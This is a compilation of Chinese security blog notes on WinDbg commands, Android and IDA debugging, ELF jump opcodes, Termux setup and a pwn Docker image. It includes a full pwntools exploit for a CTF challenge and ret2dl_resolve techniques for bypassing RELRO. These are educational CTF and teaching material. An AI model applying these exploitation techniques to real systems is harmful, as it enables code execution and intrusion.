命令介绍

windbg支持三种类型的命令,标准命令元命令扩展命令

标准命令提供最基本的调试功能,不区分大小写,如k,g,dt,bp等

元命令提供标准命令没有提供的功能,也内建在调试引擎中,以 “.” 开头,如.sympath .reload等

扩展命令用于扩展某一方面的调试功能,实现在动态加载的扩展模块中,以 ! 开头,如 !analyze等(需要将第三方dll文件放到winext目录,使用时先用.load xxx.dll加载,然后使用!xxx 使用扩展模块功能)

查看帮助

  • ? —— 打印出所有标准命令
  • .help —— 打印出所有元命令
  • .chain —— 给出一个扩展命令集的链表
  • !<module_name>.help —— 查看扩展模块帮助
  • .hh —— 打开windbg的chm帮助文件

断点相关

  • bp <address> —— 设置软件断点,针对某个地址,例如 bp c87fb320, bp edgehtml!ProcessCSSText,当edgehtml!ProcessCSSText位置发生变化时,断点的位置不变
  • bu <symbol> ——设置延迟断点,针对符号,例如 bu edgehtml!ProcessCSSText,当符号地址变化时,对应的断点地址也会变化
  • bm <reg> —— 设置符号断点,支持匹配表达式,例如 bm edgehtml!Process*
  • ba <access> <size> <addr> —— 设置处理器断点,access包括 e(执行)、r(读)、w(写),例如 ba w4 0xcccccccc
  • bl —— 列出所有断点
  • be <index> —— 激活指定编号断点
  • bd <index> —— 禁止断点
  • bc <index> —— 清除断点

读写/搜索内存

  • !address —— 查看进程的所有内存页属性
    • !address –summary,显示进程的内存统计信息
    • !address 7ffd8000 ,查看7ffd8000地址处内存页属性
  • d <type> <address range> ——根据指定的类型查看存储在某地址中的数据
    • da —— 显示ASCII字符,每行最多显示48字符,例如 da rip, da rip L4, da rip rip+16
    • db —— 显示字节值和ASCII字符
    • dw —— 显示字值(2字节)
    • dd —— 显示双字,默认长度为32 Dwords,dd poi(ebp+4),poi——解引用指针
    • dD —— 显示双精度浮点数(8字节),默认 15 个数字
    • df —— 显示单精度浮点数(4字节),默认 16个数字
    • dq —— 显示四字值(8字节)
    • du —— 显示Unicode字符串
    • ds —— 显示ASCII字符串
  • d<type>s <address range> —— 打印地址上的二进制值,同时搜索符号信息
    • dds 0xdeafbeaf L20 —— 打印0xdeafbeaf开始的0x20个双字二进制值,并检索符号
    • dqs 0xdeadbeafdeadbeaf —— 打印0xdeafbeaf开始的16(默认值)个四字二进制值,并检索符号
  • e <type> <address> <value> —— 修改指定内存中的数据
    • ea 0x445634 “abc” ——在0x445634地址写入ASCII字符串abc,不包含结束符0
    • eza 0x445634 “abc” —— 在0x445634地址写入ASCII字符串abc, 包含结束符0
    • eu 0x445634 “abc” —— 在0x445634地址写入Unicode字符串abc,不包含结束符0
    • ezu 0x445634 “abc” —— 在0x445634地址写入Unicode字符串abc,包含结束符0
    • ed nCounter 80 —— 修改变量nCounter的值为80
    • ew 00007ff9`a9ddfc06 cc —— 修改00007ff9`a9ddfc06处的双字节为0x00cc
  • .writemem <file> <address range> —— 将指定内存的内容写入文件中
    • .writemem D:\Test\0041a5e4.bin 0041a5e4 L1000 ,将内存地址处0x0041a5e4后面0x1000长度的内容拷贝存储到D:\Test\0041a5e4.bin中
  • S  [<options>] <range> <values> —— 搜索内存
    • s -w 55230000 L0x100 0x1212 0x2212 ,在起始地址0x55230000之后的0x100个单位内搜索0x1212 0x2212 0x1234系列的起始地址
    • s -u 52230000 52270000 “web” , 在55230000和55270000之间搜索Unicode字符串“web”
    • s -d 55230000 L0x100 0xdeadbeaf,在起始地址0x55230000之后的0x100个单位内搜索0xdeadbeaf

读写寄存器

  • r [[<reg> [= <expr>]]] —— 查看或设置寄存器
    • r —— 查看所有寄存器值
    • r eax —— 查看eax值
    • r rax = rip —— 设置rax的值为rip值

符号加载与查看

  • .symopt —— 显示所有符号选项
  • .reload —— 重载符号表
  • ld * —— 加载模块的符号信息
    • ld *  —— 为所有模块加载符号信息
    • ld kernel32 —— 为kernel32加载符号信息
  • x [<*|module>!]<*|symbol> —— 查看符号信息
    • x *! ,列出所有模块的符号信息
    • x edgehtml!,列出edgehtml模块的符号信息
    • x edgehtml!CDOM*,列出edgehtml模块中所有以CDOM开始的符号信息
  • lm —— 列出所有模块的信息
  • lmv m ntdll —— 查看ntdll的加载信息(简略)
  • lmvm <module name> —— 查看指定模块的详细信息
  • !dlls -l —— 按照加载顺序列出所有加载模块
  • !dlls -c <function_name> —— 查找函数所在模块
  • ln <addr> —— 查看地址addr处或附近的符号信息

调用堆栈

  • k <num>—— 显示当前调用堆栈
    • k 5,显示最近5层函数调用信息
    • kb 4,打印出前3个函数参数的当前调用堆栈
    • kD,从当前esp(rsp)开始,向高地址方向搜索符号(等价于 dds esp或dqs rsp)
  • .frame —— 显示当前栈帧
    • .frame 4 —— 显示编号为n的栈帧
  • !uniqstack —— 显示所有线程的调用堆栈

查看堆

  • !heap -s —— 显示进程堆的个数
  • dt _HEAP 001400000  —— 选取一个堆地址,打印该堆的内存结构
  • !heap -a 001400000 —— 选取一个堆地址,打印堆结构

调试执行

  • g——继续执行
    • gH,强制让调试器返回已经处理了这个异常
    • gN,强制让调试器返回没有处理这个异常
    • gu,执行到当前函数完成时停下,遇到ret指令停下
  • wt —— Trace and watch data, 在函数起始地址处执行该命令,跟踪并打印该函数内部调用过程
  • ctrl+break —— 暂停正在运行的程序
  • p —— 单步执行(step over)
    • p 2,单步执行2条指令
    • pc (step to next call), 执行到下一个函数调用处停下
    • pa 7c801b0b ( step to address),执行到7c801b0b处停下
    • pt,step到下一条ret指令
  • t —— 单步步入(step into)
    • tc —— 执行到下一个call指令处停下
    • ta 7c801b0b,执行到7c801b0b处停下
    • tb,执行到分支指令处(calls、returns、jumps、loops)停下
    • tt,trace到下一条ret指令

查看汇编

  • u  —— 反汇编
    • u ,反汇编当前ip寄存器地址后的8条指令
    • ub ,反汇编当前ip寄存器地址的前8条指令
    • u main+0x29 L30,反汇编main+0x29地址的后30条指令
    • uf CTest::add ,反汇编CTest类的add函数
    • uf /c main,查看main中的函数调用有哪些

查看数据类型与局部变量

  • dt —— 打印类型信息
    • dt ntdll!_IMAGE_DOS_HEADER,打印ntdll中的_IMAGE_DOS_HEADER结构
    • dt nRet,打印局部变量nRet的类型与值
    • dt myApp!g_app,打印myApp进程里全局变量g_app的内存布局
    • dt WindbgTest!CTest 0x0041f8b4,将0x0041f8d4地址处内容按照模块WindbgTest的CTest结构来解析
    • dt -b -r3 <structure>,-b 递归显示所有子类型信息,-r指定递归显示深度
  • dv —— 显示局部变量

诊断

  • !analyze -v —— 详细显示当前异常信息
  • !analyze -hang —— 诊断线程调用栈上是否有任何线程阻塞了其他线程
  • !analyze -f —— 查看异常分析信息,尽管调试器未诊断出异常

进程与线程

  • !peb —— 格式化输出PEB(Process Environment Block)信息
  • !teb —— 格式化输出TEB(Thread Environment Block)信息
  • !tls -1 —— 显示当前线程的所有slot信息
  • | —— 列出所有调试进程
    • |N,查看序号为N的调试进程
    • |Ns,切换序号为N的进程为当前调试进程
  • ~ —— 列出所有线程
    • ~*k —— 列出所有线程堆栈信息
    • ~. —— 查看当前线程
    • ~0 —— 查看主线程
    • ~#  —— 查看导致当前事件或异常的线程
    • ~N —— 查看N号线程
    • ~Ns —— 切换序号为N的线程为当前调试线程
    • ~Nf —— 冻结序号为N的线程
    • ~Nu —— 解冻序号为N的线程
    • ~Nn —— Suspend序号为N的线程
    • ~Nm —— Resume序号为N的线程

参考:

  1. http://www.cnblogs.com/kekec/archive/2012/12/02/2798020.html

第一种方法(jeb)

  1. 在模拟器或者真机中安装并运行apk
  2. 以调试模式启动应用
    adb shell dumpsys activity top | head // 获取package name和activity name
    adb shell am start -D -n packagename/.activityname
  3. 在jeb中设置断点,点击debug,选择设备和对应的调试进程

第二种方法(Android Studio + Smalidea)

  1. 使用apktool或者Android Crack Tool解包apk
  2. 将解包的工程导入到Android Studio中
  3. 以调试模式启动应用
    adb shell am start -D -n packagename/.MainActivity
  4. 启动monitor,选中调试应用,开启8700端口
  5. 在smali中设置断点,并且设置远程调试(Run->Edit Configurations-> + -> remote,设置端口为8700),点击debug

转自http://blog.smvirus.com/2015/08/02/ida-pro-dump-memory-script/

使用IDA Pro调试程序时偶尔会遇到dump内存的需求,IDA Pro并没有直接提供内存dump的功能,但可以通过其提供的接口用脚本来实现相关功能。

IDC脚本

auto i,fp;
fp = fopen("d:\\dump","wb");
for (i = start_address; i <= end_address; i++)
     fputc(Byte(i),fp);

IDA Python脚本

import idaapi

data = idaapi.dbg_read_memory(start_address, data_length)
fp = open('d:\\dump', 'wb')
fp.write(data)
fp.close()

相对地址跳转

伪代码机器码示例
jmp short s eb+offset(1个字节) eb03 ,ebfd
jmp near ptr s e9+offset(4个字节)e996000000, e964ffffff

绝对地址跳转

位数伪代码机器码示例
32位push addr; jmp esp;68+addr(4个字节 )+ffe4 68afbeaddeffe4
64位mov rax, addr; jmp rax; 48b8+addr(8个字节)+ffe048b8afbeaddeafbeafdeffe0

readable下载:

readable

checksec:

Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

逻辑:

非常清晰的栈溢出漏洞,刚好可以覆盖到返回地址,

Exp如下:

#!/usr/bin/env python
from pwn import *
import pdb
import sys


binary = ELF("./readable")
context.terminal = ['tmux', 'splitw', '-h']
DEBUG = 1
GDB_DEBUG = 1

if len(sys.argv) > 1:
    DEBUG = int(sys.argv[1])

if DEBUG:
    context.log_level = 'debug'
    proc = binary.process()


def writeData(data, addr):
    content = "A" * 16
    content += p64(addr + 0x10)  # written from this address - 0x10
    content += p64(0x400505)
    content += data.ljust(16, '\x00')
    content += p64(0x600e00)
    content += p64(0x400505)  # lea rax, [rbp+buf]
    proc.send(content)


def exp():

    buf_base = 0x600c00  # buf_base - .dynmaic->VERSYM >= 0x180
    # because sub esp, 0x180 in _dl_runtime_resolve_avx, otherwise
    # it will overwrite .dynamic section
    buf = p64(0x400593)  # pop rdi; ret
    buf += p64(buf_base + 0x28)  # binsh address
    buf += p64(0x4003d0)  # plt0 address
    buf += p64(0)
    buf += "system".ljust(8, '\x00')
    buf += "/bin/sh\x00"

    # modify .dynamic STRTAB and SYMTAB
    dynamic_addr = 0x6006f8
    # STRTAB is the 8th item in .dynamic section, and SYMTAB is just behind
    buf2_base = dynamic_addr + 8 * 0x10
    buf2 = p64(5)  # DT_STRTAB
    buf2 += p64(buf_base + 0x20)  # fake strtab address
    buf2 += p64(6)  # DT_SYMTAB
    buf2 += p64(0x600f00)  # fake symtab address,default 0

    if DEBUG and GDB_DEBUG:
        gdb.attach(proc, """
            b *_dl_fixup+0x209
            """)

    for i in range(0, len(buf), 16):
        writeData(buf[i:i + 16], buf_base + i)

    for i in range(0, len(buf2), 16):
        writeData(buf2[i:i + 16], buf2_base + i)

    # pdb.set_trace()
    proc.send('\x90' * 16 + p64(buf_base - 8) + p64(0x400520))

    proc.interactive()


exp()

参考:

https://github.com/pwning/public-writeup/blob/master/hitcon2015/pwn300-readable/writeup.md

可用工具: roputils.py

适用场景:

  • 无法leak内存
  • 所有可以采用stack pivot的场景

一、(Partial RELRO 或者 no RELRO) and no PIE

1. 32位平台:

_dl_runtime_resolve(link_map *, reloc_offset)

利用roputils的dl_resolve_call(base, binsh_addr)和dl_resolve_data(base, “system”)完成system(“/bin/sh”),注意:连续写入dl_resolve_call和dl_resolve_data的数据时,要将dl_resolve_call放在dl_resolve_data的内容之前,否则sub esp会覆盖前面的数据

2. 64位平台

_dl_runtime_resolve(link_map *, reloc_index)
  1. 无RELRO的情况下,可以修改.dynmaic段中的DT_STRTAB指向.bss(注意要与.dynamic段的倒数第二项VERSYM保持至少0x180的间距),修改.dynamic段中的SYMTAB指向.bss,伪造sym,绕过sym->other检测,然后在STRTAB+sym->st_name的位置写入”system”,参考 http://skysider.com/?p=602
  2. Patial RELRO
    1. 可以leak时,需要leak link_map,令 link_map +0x1c8 = 0(对应link_map->l_info[49])(此时也可以leak 函数地址,然后确定libc版本,return-to-libc)
      if(__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0)
      {
          const struct r_found_version *version = NULL;
          
          if (l->l_info[VERSYMIDX(DT_VERSYM])!=NULL)
          {
           const ElfW(Half) *vernum = 
             (const void *) D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
           ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7ffff;
           version = &l->l_versions[ndx];
           if(version->hash) == 0
               version = NULL;
          }

      在伪造sym之后造成VERSYM取值超出范围,造成segment fault

    2. 无leak(前提需要知道libc版本,需要有一个已经resolved过的函数)
      1. 修改link_map指针(GOT[1],令其指向一个解析过的函数的GOT表项,比如.got[‘read’])
      2. 正确构造link_map中的l_info[DT_JMPREL]、l_info[DT_SYMTAB]、l_info[DT_STRTAB](可与原有的link_map值相等)
      3. 伪造index, 使其指向伪造的 reloc
      4. reloc->info>>0x20为SYMTAB的下标,使其指向伪造的Elf64_Sym项
      5. if((sym->st_other) & 3 ) != 0) // 如果已经resolve过
            value = DL_FIXUP_MAKE_VALUE(l, l->l_addr + sym->st_value)

        令sym->st_other的第2位为1,此时调用 DL_FIXUP_MAKE_VALUE宏返回解析过的函数地址,正常情况下,link_map的l_addr=0(代表ELF文件中的虚拟地址与实际加载地址之间的差值),  sym->st_value为0,(got表项中的函数解析地址与实际虚拟地址之间的差值)。而通过伪造link_map指针,使l->l_addr为解析过的函数地址,sym->st_value为system地址与该函数地址之间的差值,二者之和就是system的实际地址。解析后的system地址存放在reloc->offset + sym->st_value的地方,要确保可写

二、Full RELRO:

前提:可以leak内存

常用思路:读取.dynamic段中的d_tag=DT_DEBUG的项,其中的d_value指向一个r_debug结构体,定义如下:

struct r_debug { #64位版本
    int r_version;
    struct link_map_public *r_map;
    Elf64_Addr r_brk;
    enum {RT_CONSISTENT, RT_ADD, RT_DELETE} r_state;
    Elf64_Addr r_ldbase;

其中r_map成员指向link_map链表的头节点,头结点为当前elf文件的link_map,伪造link_map中l_info[DT_JMPREL]和l_info[DT_STRTAB],伪造.rel.plt表以及.dynstr表,使rel表项指向已有的.dynsym项,由于.dynstr表被伪造,st_name指向fake .dynstr中的字符串。

第二个问题是需要调用_dl_runtime_resolve,但是开启了 Full Relro的程序 .plt.got表中没有该函数的地址,此时可以去遍历link_map链表,通过link_map->l_name可以获取当前加载库的路径,从中可以找到未开启Full Relro的库文件(比如libc.so.6),读取link_map->l_info[DT_PLTGOT]->d_val可以找到.plt.got的地址,读取GOT[2]就可以找到_dl_runtime_resolve的地址。

以上图片来自http://www.inforsec.org/wp/?p=389

附:

/* Dynamic section tags.  */

#define DT_NULL		0
#define DT_NEEDED	1
#define DT_PLTRELSZ	2
#define DT_PLTGOT	3
#define DT_HASH		4
#define DT_STRTAB	5
#define DT_SYMTAB	6
#define DT_RELA		7
#define DT_RELASZ	8
#define DT_RELAENT	9
#define DT_STRSZ	10
#define DT_SYMENT	11
#define DT_INIT		12
#define DT_FINI		13
#define DT_SONAME	14
#define DT_RPATH	15
#define DT_SYMBOLIC	16
#define DT_REL		17
#define DT_RELSZ	18
#define DT_RELENT	19
#define DT_PLTREL	20
#define DT_DEBUG	21
#define DT_TEXTREL	22
#define DT_JMPREL	23
#define DT_BIND_NOW	24
#define DT_INIT_ARRAY	25
#define DT_FINI_ARRAY	26
#define DT_INIT_ARRAYSZ 27
#define DT_FINI_ARRAYSZ 28
#define DT_RUNPATH	29
#define DT_FLAGS	30
#define DT_ENCODING	32
#define DT_PREINIT_ARRAY   32
#define DT_PREINIT_ARRAYSZ 33

参考:

  1. http://angelboy.logdown.com/posts/283218-return-to-dl-resolve
  2. http://code.metager.de/source/xref/gnu/src/include/elf/common.h
  3. http://www.inforsec.org/wp/?p=389

环境:

  • MacOS(宿主机)
    • android-studio(包含adb、monitor、jdb等工具)
    • socat
  • Windows(虚拟机)
    • ida pro(包含android_server)
  • Android模拟器或手机(android)
    • 待调试app

注意:

  1. 如果是模拟器进行调试,ro.debuggable默认为1,不需要二次打包
  2. 如果是真机进行调试,有2种比较方便的方法
    • 对app进行二次打包,修改AndroidManifest.xml中application,添加android:debuggable=”true”
    • 安装xposed框架(需要root,刷第三方recovery),之后安装xinstaller模块,设置xinstaller启动专家模式,在其他设置中开启“调试应用”

运行:

1.  运行android_server(默认开启23946端口)

adb push android_server /data/local/tmp/

adb shell
su
chmod 777 /data/local/tmp/android_server
/data/local/tmp/android_server

2.  开启端口转发

adb forward默认转发到localhost的指定端口,因此需要进行端口转发使虚拟机可以访问

adb forward tcp:23945 tcp:23946
socat TCP4-LISTEN:23946,reuseaddr,fork TCP4:127.0.0.1:23945 &

3.  以debug模式启动程序

adb shell dumpsys activity top | head # 查看top activity信息,作为下面-n的参数
adb shell am start -D -n com.yaotong.crackme/.MainActivity

4 开启ddms

monitor,选中要调试的app(开启8700端口)

5.  ida attach target app and suspend on libary loading,F9继续运行(Windows)

6.  用jdb将app恢复执行

jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700

7.   add breakpoint at JNI_OnLoad(Windows)

参考:

  1. http://wooyun.jozxing.cc/static/drops/tips-6840.html
  2. http://wooyun.jozxing.cc/static/drops/mobile-5942.html

环境:

安卓手机(android5.0及以上, arm64, root)

笔记本

工具:

adb、termuxf-droid(可选,可通过f-droid安装termux)

步骤:

1. 安装termux (手机)

2. 安装sshd

运行termux

apt update
apt install -y openssh
whoami # u0_a279
sshd

 

3. 建立ssh连接(电脑)

adb push ~/.ssh/id_rsa.pub /data/local/tmp/
adb shell
>su
#cat /data/local/tmp/id_rsa.pub >> \
    /data/data/com.termux/files/home/.ssh/authorized_keys
#chown u0_a279:u0_a279 /data/data/com.termux/files/home/.ssh/authorized_keys
exit
exit
ssh $ip -p8022

 

4. 安装软件

apt install -y python2 python2-dev socat \
               strace clang make gdb git wget\
               libffi-dev openssl-dev file \
               tsu tmux
pip2 download capstone
tar zxf capstone-3.0.4.tar.gz
cd capstone-3.0.4
termux-fix-shebang src/make.sh
python2 setup.py install
cd .. && rm -rf capstone-3.04. && rm capstone-3.0.4.tar.gz
pip2 install pwntools
termux-setup-storage # 获取sdcard访问权限
tsu # 切换到root账户

 

参考:

https://termux.com/linux.html

https://termux.com/ssh.html

在ctf比赛中,有时调试一个pwn题目,发现直到调用system函数、传参时都是对的,但是system函数会执行失败,就是无法拿到shell,在这里总结了一下可能的原因:

  1. 在调用system函数时,esp指针指向的区域前面不存在一定空间的可写数据区,原因是在函数执行过程中,会维护自己的栈帧(sub esp, xxxx) —— fake frame时需要注意
  2. system函数的调用流程:system -> do_system->execve,execve函数执行时,会有三个参数:
    __execve (SHELL_PATH, (char *const *) new_argv, __environ);

    其中,

    SHELL_PATH = "/bin/bash";
    const char *new_argv[4];
    new_argv[0] = SHELL_NAME; // "sh"
    new_argv[1] = "-c";
    new_argv[2] = line;
    new_argv[3] = NULL;
    
    environ="HOME=skysider" // or ""

当environ指向的栈数据被无效数据覆盖时,就会调用失败。因此可以采用gdb动态调试的方法,若发现system函数能够执行到execve函数,可以观察此时execve的几个参数值是否正常,若异常,就可以去寻找对应的原因。

调试技巧:

b system
b execve
stack // 查看堆栈数据,SHELL_PATH和environ
x/s *(char**)(*(char **)($esp+8)+8) // 查看 line

PWNDocker:

1. 介绍

一个基于phusion/baseimage的docker容器,用于ctf中的PWN类题目

2. 使用

docker pull skysider/pwndocker

docker run -it --rm -name testctf -v $(pwd):/ctf/work --cap-add=SYS_PTRACE skysider/pwndocker

3. 包含的软件

  • pwntools —— CTF framework and exploit development library
  • gdb-peda —— Python Exploit Development Assistance for GDB
  • Pwngdb —— GDB for pwn
  • ROPgadget —— facilitate ROP exploitation tool
  • roputils —— A Return-oriented Programming toolkit
  • linux_server[x64] —— IDA 6.8 debug server for linux
  • tmux —— a terminal multiplexer
  • ltrace —— trace library function call
  • strace —— trace system call

附:

docker hub地址:https://hub.docker.com/r/skysider/pwndocker/

github地址:https://github.com/shenyuan123/pwndocker